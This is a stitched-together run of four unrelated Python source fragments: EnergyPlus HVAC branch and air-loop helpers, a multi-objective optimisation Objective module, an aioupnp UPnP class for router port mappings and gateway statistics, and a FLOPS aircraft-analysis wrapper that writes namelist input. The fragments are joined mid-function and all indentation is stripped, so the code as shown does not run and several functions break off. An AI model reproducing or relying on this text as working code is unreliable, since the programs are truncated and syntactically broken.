abranch.Component_1_Object_Type = "Pipe:Adiabatic"
abranch.Component_1_Name = pname
abranch.Component_1_Inlet_Node_Name = apipe.Inlet_Node_Name
abranch.Component_1_Outlet_Node_Name = apipe.Outlet_Node_Name
abranch.Component_1_Branch_Control_Type = "Bypass"
return abranch
def makeductbranch(idf, bname):
"""make a branch with a duct
use standard inlet outlet names"""
# make the duct component first
pname = "%s_duct" % (bname,)
aduct = makeductcomponent(idf, pname)
# now make the branch with the duct in it
abranch = idf.newidfobject("BRANCH", Name=bname)
abranch.Component_1_Object_Type = "duct"
abranch.Component_1_Name = pname
abranch.Component_1_Inlet_Node_Name = aduct.Inlet_Node_Name
abranch.Component_1_Outlet_Node_Name = aduct.Outlet_Node_Name
abranch.Component_1_Branch_Control_Type = "Bypass"
return abranch
def getbranchcomponents(idf, branch, utest=False):
"""get the components of the branch"""
fobjtype = "Component_%s_Object_Type"
fobjname = "Component_%s_Name"
complist = []
for i in range(1, 100000):
try:
objtype = branch[fobjtype % (i,)]
if objtype.strip() == "":
break
objname = branch[fobjname % (i,)]
complist.append((objtype, objname))
except bunch_subclass.BadEPFieldError:
break
if utest:
return complist
else:
return [idf.getobject(ot, on) for ot, on in complist]
def renamenodes(idf, fieldtype):
"""rename all the changed nodes"""
renameds = []
for key in idf.model.dtls:
for idfobject in idf.idfobjects[key]:
for fieldvalue in idfobject.obj:
if type(fieldvalue) is list:
if fieldvalue not in renameds:
cpvalue = copy.copy(fieldvalue)
renameds.append(cpvalue)
# do the renaming
for key in idf.model.dtls:
for idfobject in idf.idfobjects[key]:
for i, fieldvalue in enumerate(idfobject.obj):
itsidd = idfobject.objidd[i]
if "type" in itsidd:
if itsidd["type"][0] == fieldtype:
tempdct = dict(renameds)
if type(fieldvalue) is list:
fieldvalue = fieldvalue[-1]
idfobject.obj[i] = fieldvalue
else:
if fieldvalue in tempdct:
fieldvalue = tempdct[fieldvalue]
idfobject.obj[i] = fieldvalue
def getfieldnamesendswith(idfobject, endswith):
"""get the filednames for the idfobject based on endswith"""
objls = idfobject.objls
tmp = [name for name in objls if name.endswith(endswith)]
if tmp == []:
pass
return [name for name in objls if name.endswith(endswith)]
def getnodefieldname(idfobject, endswith, fluid=None, startswith=None):
"""return the field name of the node
fluid is only needed if there are air and water nodes
fluid is Air or Water or ''.
if the fluid is Steam, use Water"""
if startswith is None:
startswith = ""
if fluid is None:
fluid = ""
nodenames = getfieldnamesendswith(idfobject, endswith)
nodenames = [name for name in nodenames if name.startswith(startswith)]
fnodenames = [nd for nd in nodenames if nd.find(fluid) != -1]
fnodenames = [name for name in fnodenames if name.startswith(startswith)]
if len(fnodenames) == 0:
nodename = nodenames[0]
else:
nodename = fnodenames[0]
return nodename
def connectcomponents(idf, components, fluid=None):
"""rename nodes so that the components get connected
fluid is only needed if there are air and water nodes
fluid is Air or Water or ''.
if the fluid is Steam, use Water"""
if fluid is None:
fluid = ""
if len(components) == 1:
thiscomp, thiscompnode = components[0]
initinletoutlet(idf, thiscomp, thiscompnode, force=False)
outletnodename = getnodefieldname(
thiscomp, "Outlet_Node_Name", fluid=fluid, startswith=thiscompnode
)
thiscomp[outletnodename] = [thiscomp[outletnodename], thiscomp[outletnodename]]
# inletnodename = getnodefieldname(nextcomp, "Inlet_Node_Name", fluid)
# nextcomp[inletnodename] = [nextcomp[inletnodename], betweennodename]
return components
for i in range(len(components) - 1):
thiscomp, thiscompnode = components[i]
nextcomp, nextcompnode = components[i + 1]
initinletoutlet(idf, thiscomp, thiscompnode, force=False)
initinletoutlet(idf, nextcomp, nextcompnode, force=False)
betweennodename = "%s_%s_node" % (thiscomp.Name, nextcomp.Name)
outletnodename = getnodefieldname(
thiscomp, "Outlet_Node_Name", fluid=fluid, startswith=thiscompnode
)
thiscomp[outletnodename] = [thiscomp[outletnodename], betweennodename]
inletnodename = getnodefieldname(nextcomp, "Inlet_Node_Name", fluid)
nextcomp[inletnodename] = [nextcomp[inletnodename], betweennodename]
return components
def initinletoutlet(idf, idfobject, thisnode, force=False):
"""initialze values for all the inlet outlet nodes for the object.
if force == False, it willl init only if field = ''"""
def blankfield(fieldvalue):
"""test for blank field"""
try:
if fieldvalue.strip() == "":
return True
else:
return False
except AttributeError: # field may be a list
return False
def trimfields(fields, thisnode):
if len(fields) > 1:
if thisnode is not None:
fields = [field for field in fields if field.startswith(thisnode)]
return fields
else:
print("Where should this loop connect ?")
print("%s - %s" % (idfobject.key, idfobject.Name))
print([field.split("Inlet_Node_Name")[0] for field in inletfields])
raise WhichLoopError
else:
return fields
inletfields = getfieldnamesendswith(idfobject, "Inlet_Node_Name")
inletfields = trimfields(inletfields, thisnode) # or warn with exception
for inletfield in inletfields:
if blankfield(idfobject[inletfield]) == True or force == True:
idfobject[inletfield] = "%s_%s" % (idfobject.Name, inletfield)
outletfields = getfieldnamesendswith(idfobject, "Outlet_Node_Name")
outletfields = trimfields(outletfields, thisnode) # or warn with exception
for outletfield in outletfields:
if blankfield(idfobject[outletfield]) == True or force == True:
idfobject[outletfield] = "%s_%s" % (idfobject.Name, outletfield)
return idfobject
def componentsintobranch(idf, branch, listofcomponents, fluid=None):
"""insert a list of components into a branch
fluid is only needed if there are air and water nodes in same object
fluid is Air or Water or ''.
if the fluid is Steam, use Water"""
if fluid is None:
fluid = ""
componentlist = [item[0] for item in listofcomponents]
# assumes that the nodes of the component connect to each other
# empty branch if it has existing components
thebranchname = branch.Name
thebranch = idf.removeextensibles("BRANCH", thebranchname) # empty the branch
# fill in the new components with the node names into this branch
# find the first extensible field and fill in the data in obj.
e_index = idf.getextensibleindex("BRANCH", thebranchname)
theobj = thebranch.obj
modeleditor.extendlist(theobj, e_index) # just being careful here
for comp, compnode in listofcomponents:
theobj.append(comp.key)
theobj.append(comp.Name)
inletnodename = getnodefieldname(
comp, "Inlet_Node_Name", fluid=fluid, startswith=compnode
)
theobj.append(comp[inletnodename])
outletnodename = getnodefieldname(
comp, "Outlet_Node_Name", fluid=fluid, startswith=compnode
)
theobj.append(comp[outletnodename])
theobj.append("")
return thebranch
def doingtesting(testing, testn, result=None):
"""doing testing"""
testn += 1
if testing == testn:
print(testing)
returnnone()
else:
return testn
def returnnone():
"""return None"""
return None
def makeairloop(idf, loopname, sloop, dloop, testing=None):
"""make an airloop"""
# -------- testing ---------
testn = 0
# -------- testing ---------
newairloop = idf.newidfobject("AirLoopHVAC".upper(), Name=loopname)
# -------- testing ---------
testn = doingtesting(testing, testn, newairloop)
if testn == None:
returnnone()
# -------- testing ---------
fields = SomeFields.a_fields
# for use in bunch
flnames = [field.replace(" ", "_") for field in fields]
# simplify naming
fields1 = [
"Branches",
"Connectors",
"Supply Inlet",
"Demand Outlet",
"Demand Inlet",
"Supply Outlet",
]
# old TODO : pop connectors if no parallel branches
# make fieldnames in the air loop
fieldnames = ["%s %s" % (loopname, field) for field in fields1]
for fieldname, thefield in zip(fieldnames, flnames):
newairloop[thefield] = fieldname
# -------- testing ---------
testn = doingtesting(testing, testn, newairloop)
if testn == None:
returnnone()
# -------- | |
<filename>desdeo_problem/problem/Objective.py
"""Defines Objective classes to be used in Problems
"""
from abc import ABC, abstractmethod
from os import path
from typing import Callable, Dict, List, NamedTuple, Tuple, Union
import numpy as np
import pandas as pd
from desdeo_problem.surrogatemodels.SurrogateModels import BaseRegressor, ModelError
class ObjectiveError(Exception):
"""Raised when an error related to the Objective class is encountered.
"""
class ObjectiveEvaluationResults(NamedTuple):
"""The return object of <problem>.evaluate methods.
Attributes:
objectives (Union[float, np.ndarray]): The objective function value/s for the
input vector.
uncertainity (Union[None, float, np.ndarray]): The uncertainity in the
objective value/s.
"""
objectives: Union[float, np.ndarray]
uncertainity: Union[None, float, np.ndarray] = None
def __str__(self):
"""Stringify the result.
Returns:
str: result in string form
"""
prnt_msg = (
"Objective Evaluation Results Object \n"
f"Objective values are: \n{self.objectives}\n"
f"Uncertainity values are: \n{self.uncertainity}\n"
)
return prnt_msg
class ObjectiveBase(ABC):
"""The abstract base class for objectives.
"""
def evaluate(self, decision_vector: np.ndarray, use_surrogate: bool = False) -> ObjectiveEvaluationResults:
"""Evaluates the objective according to a decision variable vector.
Uses surrogate model if use_surrogates is true. If use_surrogates is False, uses
func_evaluate which evaluates using the true objective function.
Arguments:
decision_vector (np.ndarray): A vector of Variables to be used in
the evaluation of the objective.
use_surrogate (bool) : A boolean which determines whether to use surrogates
or true function evaluator. False by default.
"""
if use_surrogate:
return self._surrogate_evaluate(decision_vector)
else:
return self._func_evaluate(decision_vector)
@abstractmethod
def _func_evaluate(self, decision_vector: np.ndarray) -> ObjectiveEvaluationResults:
"""Evaluates the true objective value.
Value is evaluated with the decision variable vector as the input.
Uses the true (potentially expensive) evaluator if available.
Arguments:
decision_vector (np.ndarray): A vector of Variables to be used in
the evaluation of the objective.
"""
pass
@abstractmethod
def _surrogate_evaluate(self, decision_vector: np.ndarray) -> ObjectiveEvaluationResults:
"""Evaluates the objective value.
Value is evaluated with the decision variable vector as the input.
Uses the surrogartes if available.
Arguments:
decision_vector(np.ndarray): A vector of Variables to be used in
the evaluation of the objective.
"""
pass
class VectorObjectiveBase(ABC):
"""The abstract base class for multiple objectives which are calculated at once.
"""
def evaluate(self, decision_vector: np.ndarray, use_surrogate: bool = False) -> ObjectiveEvaluationResults:
"""Evaluates the objective according to a decision variable vector.
Uses surrogate model if use_surrogates is true. If use_surrogates is False, uses
func_evaluate which evaluates using the true objective function.
Arguments:
decision_vector (np.ndarray): A vector of Variables to be used in
the evaluation of the objective.
use_surrogate (bool) : A boolean which determines whether to use surrogates
or true function evaluator. False by default.
"""
if use_surrogate:
return self._surrogate_evaluate(decision_vector)
else:
return self._func_evaluate(decision_vector)
@abstractmethod
def _func_evaluate(self, decision_vector: np.ndarray) -> ObjectiveEvaluationResults:
"""Evaluates the true objective values according to a decision variable vector.
Uses the true (potentially expensive) evaluator if available.
Arguments:
decision_vector (np.ndarray): A vector of Variables to be used in
the evaluation of the objective.
"""
pass
@abstractmethod
def _surrogate_evaluate(self, decision_vector: np.ndarray) -> ObjectiveEvaluationResults:
"""Evaluates the objective values according to a decision variable vector.
Uses the surrogartes if available.
Arguments:
decision_vector (np.ndarray): A vector of Variables to be used in
the evaluation of the objective.
"""
pass
# TODO: Depreciate
class ScalarObjective(ObjectiveBase):
"""A simple objective function that returns a scalar.
To be depreciated
Arguments:
name (str): Name of the objective.
evaluator (Callable): The function to evaluate the objective's value.
lower_bound (float): The lower bound of the objective.
upper_bound (float): The upper bound of the objective.
maximize (bool): Boolean to determine whether the objective is to be
maximized.
Attributes:
__name (str): Name of the objective.
__value (float): The current value of the objective function.
__evaluator (Callable): The function to evaluate the objective's value.
__lower_bound (float): The lower bound of the objective.
__upper_bound (float): The upper bound of the objective.
maximize (List[bool]): List of boolean to determine whether the objectives are
to be maximized. All false by default
Raises:
ObjectiveError: When ill formed bounds are given.
"""
def __init__(
self,
name: str,
evaluator: Callable,
lower_bound: float = -np.inf,
upper_bound: float = np.inf,
maximize: List[bool] = None,
) -> None:
# Check that the bounds make sense
if not (lower_bound < upper_bound):
msg = ("Lower bound {} should be less than the upper bound " "{}.").format(lower_bound, upper_bound)
raise ObjectiveError(msg)
self.__name: str = name
self.__evaluator: Callable = evaluator
self.__value: float = 0.0
self.__lower_bound: float = lower_bound
self.__upper_bound: float = upper_bound
if maximize is None:
maximize = [False]
self.maximize: bool = maximize # TODO implement set/getters. Have validation.
@property
def name(self) -> str:
"""Property: name
Returns:
str: name
"""
return self.__name
@property
def value(self) -> float:
"""Property: value
Returns:
float: value
"""
return self.__value
@value.setter
def value(self, value: float):
"""Setter: value
Arguments:
value (float): value to be set
"""
self.__value = value
@property
def evaluator(self) -> Callable:
"""Property: evaluator for the objective
Returns:
callable: evaluator
"""
return self.__evaluator
@property
def lower_bound(self) -> float:
"""Property: lower bound of the objective.
Returns:
float: lower bound of the objective
"""
return self.__lower_bound
@property
def upper_bound(self) -> float:
"""Property: upper bound of the objective.
Returns:
float: upper bound of the objective
"""
return self.__upper_bound
def _func_evaluate(self, decision_vector: np.ndarray) -> ObjectiveEvaluationResults:
"""Evaluate the objective functions value.
Arguments:
decision_vector (np.ndarray): A vector of variables to evaluate the
objective function with.
Returns:
ObjectiveEvaluationResults: A named tuple containing the evaluated value,
and uncertainity of evaluation of the objective function.
Raises:
ObjectiveError: When a bad argument is supplied to the evaluator.
"""
try:
result = self.evaluator(decision_vector)
except (TypeError, IndexError) as e:
msg = "Bad argument {} supplied to the evaluator: {}".format(str(decision_vector), str(e))
raise ObjectiveError(msg)
# Store the value of the objective
self.value = result
uncertainity = np.full_like(result, np.nan, dtype=float)
# Have to set dtype because if the tuple is of ints, then this array also
# becomes dtype int. There's no nan value of int type
return ObjectiveEvaluationResults(result, uncertainity)
def _surrogate_evaluate(self, decusuib_vector: np.ndarray):
"""Evaluate the objective function value with surrogate.
Not implemented, raises only error
Arguments:
decusuib_vector (np.ndarray): A vector of Variables to be used in
the evaluation of the objective
Raises:
ObjectiveError: Surrogate is not trained
"""
raise ObjectiveError("Surrogates not trained")
class _ScalarObjective(ScalarObjective):
pass
# TODO: Rename to "Objective"
class VectorObjective(VectorObjectiveBase):
"""An objective object that calculated one or more objective functions.
To be renamed to Objective
Attributes:
__name (List[str]): Names of the various objectives in a list
__evaluator (Callable): The function that evaluates the objective values
__lower_bounds (Union[List[float], np.ndarray), optional): Lower bounds
of the objective values. Defaults to None.
__upper_bounds (Union[List[float], np.ndarray), optional): Upper bounds
of the objective values. Defaults to None.
__maximize (List[bool]): *List* of boolean to determine whether the
objectives are to be maximized. All false by default
__n_of_objects (int): The number of objectives
Arguments:
name (List[str]): Names of the various objectives in a list
evaluator (Callable): The function that evaluates the objective values
lower_bounds (Union[List[float], np.ndarray), optional): Lower bounds of the
objective values. Defaults to None.
upper_bounds (Union[List[float], np.ndarray), optional): Upper bounds of the
objective values. Defaults to None.
maximize (List[bool]): *List* of boolean to determine whether the objectives are
to be maximized. All false by default
Raises:
ObjectiveError: When lengths the input arrays are different.
ObjectiveError: When any of the lower bounds is not smaller than the
corresponding upper bound.
"""
def __init__(
self,
name: List[str],
evaluator: Callable,
lower_bounds: Union[List[float], np.ndarray] = None,
upper_bounds: Union[List[float], np.ndarray] = None,
maximize: List[bool] = None,
):
n_of_objectives = len(name)
if lower_bounds is None:
lower_bounds = np.full(n_of_objectives, -np.inf)
if upper_bounds is None:
upper_bounds = np.full(n_of_objectives, np.inf)
lower_bounds = np.asarray(lower_bounds)
upper_bounds = np.asarray(upper_bounds)
# Check if list lengths are the same
if not (n_of_objectives == len(lower_bounds)):
msg = (
"The length of the list of names and the number of elements in the "
"lower_bounds array should be the same"
)
raise ObjectiveError(msg)
if not (n_of_objectives == len(upper_bounds)):
msg = (
"The length of the list of names and the number of elements in the "
"upper_bounds array should be the same"
)
raise ObjectiveError(msg)
# Check if all lower bounds are smaller than the corresponding upper bounds
if not (np.all(lower_bounds < upper_bounds)):
msg | |
import os
import logging
import json
import asyncio
import zlib
import base64
from collections import OrderedDict
from typing import Tuple, Dict, List, Union
from aioupnp.fault import UPnPError
from aioupnp.gateway import Gateway
from aioupnp.util import get_gateway_and_lan_addresses
from aioupnp.protocols.ssdp import m_search, fuzzy_m_search
from aioupnp.commands import SOAPCommand
from aioupnp.serialization.ssdp import SSDPDatagram
log = logging.getLogger(__name__)
def cli(fn):
fn._cli = True
return fn
def _encode(x):
if isinstance(x, bytes):
return x.decode()
elif isinstance(x, Exception):
return str(x)
return x
class UPnP:
def __init__(self, lan_address: str, gateway_address: str, gateway: Gateway) -> None:
self.lan_address = lan_address
self.gateway_address = gateway_address
self.gateway = gateway
@classmethod
def get_lan_and_gateway(cls, lan_address: str = '', gateway_address: str = '',
interface_name: str = 'default') -> Tuple[str, str]:
if not lan_address or not gateway_address:
gateway_addr, lan_addr = get_gateway_and_lan_addresses(interface_name)
lan_address = lan_address or lan_addr
gateway_address = gateway_address or gateway_addr
return lan_address, gateway_address
@classmethod
async def discover(cls, lan_address: str = '', gateway_address: str = '', timeout: int = 30,
igd_args: OrderedDict = None, interface_name: str = 'default', loop=None):
try:
lan_address, gateway_address = cls.get_lan_and_gateway(lan_address, gateway_address, interface_name)
except Exception as err:
raise UPnPError("failed to get lan and gateway addresses: %s" % str(err))
gateway = await Gateway.discover_gateway(
lan_address, gateway_address, timeout, igd_args, loop
)
return cls(lan_address, gateway_address, gateway)
@classmethod
@cli
async def m_search(cls, lan_address: str = '', gateway_address: str = '', timeout: int = 1,
igd_args: OrderedDict = None, unicast: bool = True, interface_name: str = 'default',
loop=None) -> Dict:
if not lan_address or not gateway_address:
try:
lan_address, gateway_address = cls.get_lan_and_gateway(lan_address, gateway_address, interface_name)
assert gateway_address and lan_address
except Exception as err:
raise UPnPError("failed to get lan and gateway addresses for interface \"%s\": %s" % (interface_name,
str(err)))
if not igd_args:
igd_args, datagram = await fuzzy_m_search(lan_address, gateway_address, timeout, loop, unicast=unicast)
else:
igd_args = OrderedDict(igd_args)
datagram = await m_search(lan_address, gateway_address, igd_args, timeout, loop, unicast=unicast)
return {
'lan_address': lan_address,
'gateway_address': gateway_address,
'm_search_kwargs': SSDPDatagram("M-SEARCH", igd_args).get_cli_igd_kwargs(),
'discover_reply': datagram.as_dict()
}
@cli
async def get_external_ip(self) -> str:
return await self.gateway.commands.GetExternalIPAddress()
@cli
async def add_port_mapping(self, external_port: int, protocol: str, internal_port: int, lan_address: str,
description: str) -> None:
return await self.gateway.commands.AddPortMapping(
NewRemoteHost='', NewExternalPort=external_port, NewProtocol=protocol,
NewInternalPort=internal_port, NewInternalClient=lan_address,
NewEnabled=1, NewPortMappingDescription=description, NewLeaseDuration='0'
)
@cli
async def get_port_mapping_by_index(self, index: int) -> Dict:
result = await self._get_port_mapping_by_index(index)
if result:
if isinstance(self.gateway.commands.GetGenericPortMappingEntry, SOAPCommand):
return {
k: v for k, v in zip(self.gateway.commands.GetGenericPortMappingEntry.return_order, result)
}
return {}
async def _get_port_mapping_by_index(self, index: int) -> Union[None, Tuple[Union[None, str], int, str,
int, str, bool, str, int]]:
try:
redirect = await self.gateway.commands.GetGenericPortMappingEntry(NewPortMappingIndex=index)
return redirect
except UPnPError:
return None
@cli
async def get_redirects(self) -> List[Dict]:
redirects = []
cnt = 0
redirect = await self.get_port_mapping_by_index(cnt)
while redirect:
redirects.append(redirect)
cnt += 1
redirect = await self.get_port_mapping_by_index(cnt)
return redirects
@cli
async def get_specific_port_mapping(self, external_port: int, protocol: str) -> Dict:
"""
:param external_port: (int) external port to listen on
:param protocol: (str) 'UDP' | 'TCP'
:return: (int) <internal port>, (str) <lan ip>, (bool) <enabled>, (str) <description>, (int) <lease time>
"""
try:
result = await self.gateway.commands.GetSpecificPortMappingEntry(
NewRemoteHost='', NewExternalPort=external_port, NewProtocol=protocol
)
if result and isinstance(self.gateway.commands.GetSpecificPortMappingEntry, SOAPCommand):
return {k: v for k, v in zip(self.gateway.commands.GetSpecificPortMappingEntry.return_order, result)}
except UPnPError:
pass
return {}
@cli
async def delete_port_mapping(self, external_port: int, protocol: str) -> None:
"""
:param external_port: (int) external port to listen on
:param protocol: (str) 'UDP' | 'TCP'
:return: None
"""
return await self.gateway.commands.DeletePortMapping(
NewRemoteHost="", NewExternalPort=external_port, NewProtocol=protocol
)
@cli
async def get_next_mapping(self, port: int, protocol: str, description: str, internal_port: int=None) -> int:
if protocol not in ["UDP", "TCP"]:
raise UPnPError("unsupported protocol: {}".format(protocol))
internal_port = int(internal_port or port)
requested_port = int(internal_port)
redirect_tups = []
cnt = 0
port = int(port)
redirect = await self._get_port_mapping_by_index(cnt)
while redirect:
redirect_tups.append(redirect)
cnt += 1
redirect = await self._get_port_mapping_by_index(cnt)
redirects = {
(ext_port, proto): (int_host, int_port, desc)
for (ext_host, ext_port, proto, int_port, int_host, enabled, desc, _) in redirect_tups
}
while (port, protocol) in redirects:
int_host, int_port, desc = redirects[(port, protocol)]
if int_host == self.lan_address and int_port == requested_port and desc == description:
return port
port += 1
await self.add_port_mapping( # set one up
port, protocol, internal_port, self.lan_address, description
)
return port
@cli
async def debug_gateway(self) -> str:
return json.dumps({
"gateway": self.gateway.debug_gateway(),
"client_address": self.lan_address,
}, default=_encode, indent=2)
@property
def zipped_debugging_info(self) -> str:
return base64.b64encode(zlib.compress(
json.dumps({
"gateway": self.gateway.debug_gateway(),
"client_address": self.lan_address,
}, default=_encode, indent=2).encode()
)).decode()
@cli
async def generate_test_data(self):
print("found gateway via M-SEARCH")
try:
external_ip = await self.get_external_ip()
print("got external ip: %s" % external_ip)
except (UPnPError, NotImplementedError):
print("failed to get the external ip")
try:
await self.get_redirects()
print("got redirects")
except (UPnPError, NotImplementedError):
print("failed to get redirects")
try:
await self.get_specific_port_mapping(4567, "UDP")
print("got specific mapping")
except (UPnPError, NotImplementedError):
print("failed to get specific mapping")
try:
ext_port = await self.get_next_mapping(4567, "UDP", "aioupnp test mapping")
print("set up external mapping to port %i" % ext_port)
try:
await self.get_specific_port_mapping(4567, "UDP")
print("got specific mapping")
except (UPnPError, NotImplementedError):
print("failed to get specific mapping")
try:
await self.get_redirects()
print("got redirects")
except (UPnPError, NotImplementedError):
print("failed to get redirects")
await self.delete_port_mapping(ext_port, "UDP")
print("deleted mapping")
except (UPnPError, NotImplementedError):
print("failed to add and remove a mapping")
try:
await self.get_redirects()
print("got redirects")
except (UPnPError, NotImplementedError):
print("failed to get redirects")
try:
await self.get_specific_port_mapping(4567, "UDP")
print("got specific mapping")
except (UPnPError, NotImplementedError):
print("failed to get specific mapping")
if self.gateway.devices:
device = list(self.gateway.devices.values())[0]
assert device.manufacturer and device.modelName
device_path = os.path.join(os.getcwd(), self.gateway.manufacturer_string)
else:
device_path = os.path.join(os.getcwd(), "UNKNOWN GATEWAY")
with open(device_path, "w") as f:
f.write(await self.debug_gateway())
return "Generated test data! -> %s" % device_path
@cli
async def get_natrsip_status(self) -> Tuple[bool, bool]:
"""Returns (NewRSIPAvailable, NewNATEnabled)"""
return await self.gateway.commands.GetNATRSIPStatus()
@cli
async def set_connection_type(self, NewConnectionType: str) -> None:
"""Returns None"""
return await self.gateway.commands.SetConnectionType(NewConnectionType)
@cli
async def get_connection_type_info(self) -> Tuple[str, str]:
"""Returns (NewConnectionType, NewPossibleConnectionTypes)"""
return await self.gateway.commands.GetConnectionTypeInfo()
@cli
async def get_status_info(self) -> Tuple[str, str, int]:
"""Returns (NewConnectionStatus, NewLastConnectionError, NewUptime)"""
return await self.gateway.commands.GetStatusInfo()
@cli
async def force_termination(self) -> None:
"""Returns None"""
return await self.gateway.commands.ForceTermination()
@cli
async def request_connection(self) -> None:
"""Returns None"""
return await self.gateway.commands.RequestConnection()
@cli
async def get_common_link_properties(self):
"""Returns (NewWANAccessType, NewLayer1UpstreamMaxBitRate, NewLayer1DownstreamMaxBitRate, NewPhysicalLinkStatus)"""
return await self.gateway.commands.GetCommonLinkProperties()
@cli
async def get_total_bytes_sent(self):
"""Returns (NewTotalBytesSent)"""
return await self.gateway.commands.GetTotalBytesSent()
@cli
async def get_total_bytes_received(self):
"""Returns (NewTotalBytesReceived)"""
return await self.gateway.commands.GetTotalBytesReceived()
@cli
async def get_total_packets_sent(self):
"""Returns (NewTotalPacketsSent)"""
return await self.gateway.commands.GetTotalPacketsSent()
@cli
async def get_total_packets_received(self):
"""Returns (NewTotalPacketsReceived)"""
return await self.gateway.commands.GetTotalPacketsReceived()
@cli
async def x_get_ics_statistics(self) -> Tuple[int, int, int, int, str, str]:
"""Returns (TotalBytesSent, TotalBytesReceived, TotalPacketsSent, TotalPacketsReceived, Layer1DownstreamMaxBitRate, Uptime)"""
return await self.gateway.commands.X_GetICSStatistics()
@cli
async def get_default_connection_service(self):
"""Returns (NewDefaultConnectionService)"""
return await self.gateway.commands.GetDefaultConnectionService()
@cli
async def set_default_connection_service(self, NewDefaultConnectionService: str) -> None:
"""Returns (None)"""
return await self.gateway.commands.SetDefaultConnectionService(NewDefaultConnectionService)
@cli
async def set_enabled_for_internet(self, NewEnabledForInternet: bool) -> None:
return await self.gateway.commands.SetEnabledForInternet(NewEnabledForInternet)
@cli
async def get_enabled_for_internet(self) -> bool:
return await self.gateway.commands.GetEnabledForInternet()
@cli
async def get_maximum_active_connections(self, NewActiveConnectionIndex: int):
return await self.gateway.commands.GetMaximumActiveConnections(NewActiveConnectionIndex)
@cli
async def get_active_connections(self) -> Tuple[str, str]:
"""Returns (NewActiveConnDeviceContainer, NewActiveConnectionServiceID"""
return await self.gateway.commands.GetActiveConnections()
@classmethod
def run_cli(cls, method, igd_args: OrderedDict, lan_address: str = '', gateway_address: str = '', timeout: int = 30,
interface_name: str = 'default', unicast: bool = True, kwargs: dict = None, loop=None) -> None:
"""
:param method: the command name
:param igd_args: ordered case sensitive M-SEARCH headers, if provided all headers to be used must be provided
:param lan_address: the ip address of the local interface
:param gateway_address: the ip address of the gateway
:param timeout: timeout, in seconds
:param interface_name: name of the network interface, the default is aliased to 'default'
:param kwargs: keyword arguments for the command
:param loop: EventLoop, used for testing
"""
kwargs = kwargs or {}
igd_args = igd_args
timeout = int(timeout)
loop = loop or asyncio.get_event_loop_policy().get_event_loop()
fut: asyncio.Future = asyncio.Future()
async def wrapper(): # wrap the upnp setup and call of the command in a coroutine
if method == 'm_search': # if we're only m_searching don't do any device discovery
fn = lambda *_a, **_kw: cls.m_search(
lan_address, gateway_address, timeout, igd_args, unicast, interface_name, loop
)
else: # automatically discover the gateway
try:
u = await cls.discover(
lan_address, gateway_address, timeout, igd_args, interface_name, loop=loop
)
except UPnPError as err:
fut.set_exception(err)
return
if hasattr(u, method) and hasattr(getattr(u, method), "_cli"):
fn = getattr(u, method)
else:
fut.set_exception(UPnPError("\"%s\" is not a recognized command" % method))
return
try: # call the command
result = await fn(**{k: fn.__annotations__[k](v) for k, v in kwargs.items()})
fut.set_result(result)
except UPnPError as err:
fut.set_exception(err)
except Exception as err:
| |
Int(0, iotype='in', desc='Number of RERUN namelists to be created')
npcons = Array(iotype='in', dtype=numpy_int64, desc='Number of PCONIN ' +
'namelists to be created with each RERUN namelist')
# Variable Trees
input = VarTree(FlopsWrapper_input(), iotype='in')
output = VarTree(FlopsWrapper_output(), iotype='out')
# This stuff is defined in ExternalCode. I'm preserving it to keep a record
# of the var names that were used in the MC Java wrapper.
# ----
#execute_cmd = Str('flops', iotype='in', desc='Command for executing FLOPS')
def __init__(self):
"""Constructor for the FlopsWrapper component"""
super(FlopsWrapper, self).__init__()
# External Code public variables
self.stdin = 'flops.inp'
self.stdout = 'flops.out'
self.stderr = 'flops.err'
self.command = ['flops']
self.external_files = [
FileMetadata(path=self.stdin, input=True),
FileMetadata(path=self.stdout),
FileMetadata(path=self.stderr),
]
# This stuff is global in the Java wrap.
# These are used when adding and removing certain segments.
self.nseg0 = 0
self.npcon0 = 0
self.nrern0 = 0
self.npcons0 = []
self.npcons0.append(0)
self.nmseg = 0
def execute(self):
"""Run Flops."""
#Prepare the input files for Flops
self.generate_input()
#Run Flops via ExternalCode's execute function
super(FlopsWrapper, self).execute()
#Parse the outut files from Flops
self.parse_output()
def generate_input(self):
"""Creates the FLOPS input file(s) namelists."""
sb = Namelist(self)
sb.set_filename(self.stdin)
# Write the Title Card
sb.set_title(self.input.title)
#-------------------
# Namelist &OPTION
#-------------------
sb.add_group('OPTION')
sb.add_comment("\n ! Program Control, Execution, Analysis and Plot Option Data")
iopt = self.input.option.Program_Control.iopt
ianal = self.input.option.Program_Control.ianal
ineng = self.input.option.Program_Control.ineng
itakof = self.input.option.Program_Control.itakof
iland = self.input.option.Program_Control.iland
nopro = self.input.option.Program_Control.nopro
noise = self.input.option.Program_Control.noise
icost = self.input.option.Program_Control.icost
ifite = self.input.option.Program_Control.ifite
mywts = self.input.wtin.Basic.mywts
sb.add_container("input.option.Program_Control")
sb.add_comment("\n ! Plot files for XFLOPS Graphical Interface Postprocessor (MSMPLOT)")
sb.add_var("input.option.Plot_Files.ixfl")
sb.add_comment("\n ! Takeoff and Climb Profile File for Noise Calculations (NPROF)")
sb.add_var("input.option.Plot_Files.npfile")
sb.add_comment("\n ! Drag Polar Plot File (POLPLOT)")
sb.add_var("input.option.Plot_Files.ipolp")
sb.add_var("input.option.Plot_Files.polalt")
nmach = len(self.input.option.Plot_Files.pmach)
if nmach > 0:
sb.add_newvar("nmach", nmach)
sb.add_var("input.option.Plot_Files.pmach")
sb.add_comment("\n ! Engine Performance Data Plot File (THRPLOT)")
sb.add_var("input.option.Plot_Files.ipltth")
sb.add_comment("\n ! Design History Plot File (HISPLOT)")
sb.add_var("input.option.Plot_Files.iplths")
ipltps = len(self.input.option.Excess_Power_Plot.pltnz)
if ipltps > 0:
sb.add_comment("\n ! Excess Power Plot File (PSPLOT)")
sb.add_newvar("ipltps", ipltps)
sb.add_container("input.option.Excess_Power_Plot")
# Plotfile names
sb.add_comment("\n ! Plotfile Names")
if self.input.option.Plot_Files.cnfile:
sb.add_var("input.option.Plot_Files.cnfile")
if self.input.option.Plot_Files.msfile:
sb.add_var("input.option.Plot_Files.msfile")
if self.input.option.Plot_Files.crfile:
sb.add_var("input.option.Plot_Files.crfile")
if self.input.option.Plot_Files.tofile :
sb.add_var("input.option.Plot_Files.tofile ")
if self.input.option.Plot_Files.nofile :
sb.add_var("input.option.Plot_Files.nofile ")
if self.input.option.Plot_Files.apfile :
sb.add_var("input.option.Plot_Files.apfile ")
if self.input.option.Plot_Files.thfile :
sb.add_var("input.option.Plot_Files.thfile ")
if self.input.option.Plot_Files.hsfile :
sb.add_var("input.option.Plot_Files.hsfile ")
if self.input.option.Plot_Files.psfile :
sb.add_var("input.option.Plot_Files.psfile ")
#-------------------
